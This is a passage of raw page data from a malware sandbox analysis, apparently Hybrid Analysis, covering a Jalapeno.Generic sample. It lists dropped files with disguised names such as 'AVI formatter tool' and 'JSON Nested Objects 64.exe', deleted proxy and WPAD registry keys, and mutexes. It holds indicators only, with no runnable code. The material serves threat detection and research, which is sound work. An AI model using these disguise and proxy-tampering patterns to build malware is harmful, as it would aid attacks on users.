tool\\bin\\x86\\is-1CK05.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\lessmsi\\is-SBK8F.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-DOIP9.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-I25HI.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-CAE09.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-RALK5.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\plugins\\internal\\is-CGMAL.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\plugins\\internal\\is-326RH.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-832H4.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-4V23B.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-7FHTL.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\bin\\x86\\is-K02TD.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\stuff\\is-KD99E.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\stuff\\is-I987Q.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\stuff\\is-O16AU.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\stuff\\is-98LIT.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%LOCALAPPDATA%\\AVI formatter tool\\is-QT5JT.tmp","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%ALLUSERSPROFILE%\\JSON Nested Objects 64\\JSON Nested Objects 64.exe","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%ALLUSERSPROFILE%\\ts64.dat","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%ALLUSERSPROFILE%\\resource-a.dat","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%ALLUSERSPROFILE%\\resource-b.dat","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"path":"%ALLUSERSPROFILE%\\rc64.dat","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-10-DB-FF-DC-01\\","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{61156960-FCE9-4209-9D92-C828DDF03CAA}\\00-10-DB-FF-DC-01\\","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"key":"HKLMHKLM\\SOFTWARE\\TLGRAPHICSMODE\\","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{61156960-FCE9-4209-9D92-C828DDF03CAA}\\","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYSERVER\\PROXYSERVER","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYOVERRIDE\\PROXYOVERRIDE","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTOCONFIGURL\\AUTOCONFIGURL","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTODETECT\\AUTODETECT","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{61156960-FCE9-4209-9D92-C828DDF03CAA}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-10-DB-FF-DC-01\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8776:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8776:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8776:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8776:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"SM0:8776:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"SM0:8776:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"Local\\SM0:8776:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"Local\\SM0:8776:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8576:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8576:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"Local\\SM0:8576:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"SM0:8576:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8552:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8552:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"Local\\SM0:8828:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"SM0:8828:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"SM0:8552:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"Local\\SM0:8552:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"Local\\SM0:1444:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"SM0:1444:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"SM0:5060:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8600:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8828:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8828:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1444:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1444:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5060:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"name":"Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]}]}},"report_ids":{"sandbox_job_ids":["683312b0a694cfd8c002881b","65a507358bb31c93b4098402"]}}}]]}] 1b:null 1f:[["$","title","0",{"children":"Malicious Jalapeno.Generic Sample 1ca559e6b592… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 1ca559e6b592…. Malware family: Jalapeno.Generic. Threat score 100/100. 20/26 AV engines flagged this file. 25 malicious and 29 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb"}],["$","meta","4",{"property":"og:title","content":"Malicious Jalapeno.Generic Sample 1ca559e6b592… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 1ca559e6b592…. Malware family: Jalapeno.Generic. Threat score 100/100. 20/26 AV engines flagged this file. 25 malicious and 29 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Jalapeno.Generic Sample 1ca559e6b592… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 1ca559e6b592…. Malware family: Jalapeno.Generic. Threat score 100/100. 20/26 AV engines flagged this file. 25 malicious and 29 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L99","11",{}]]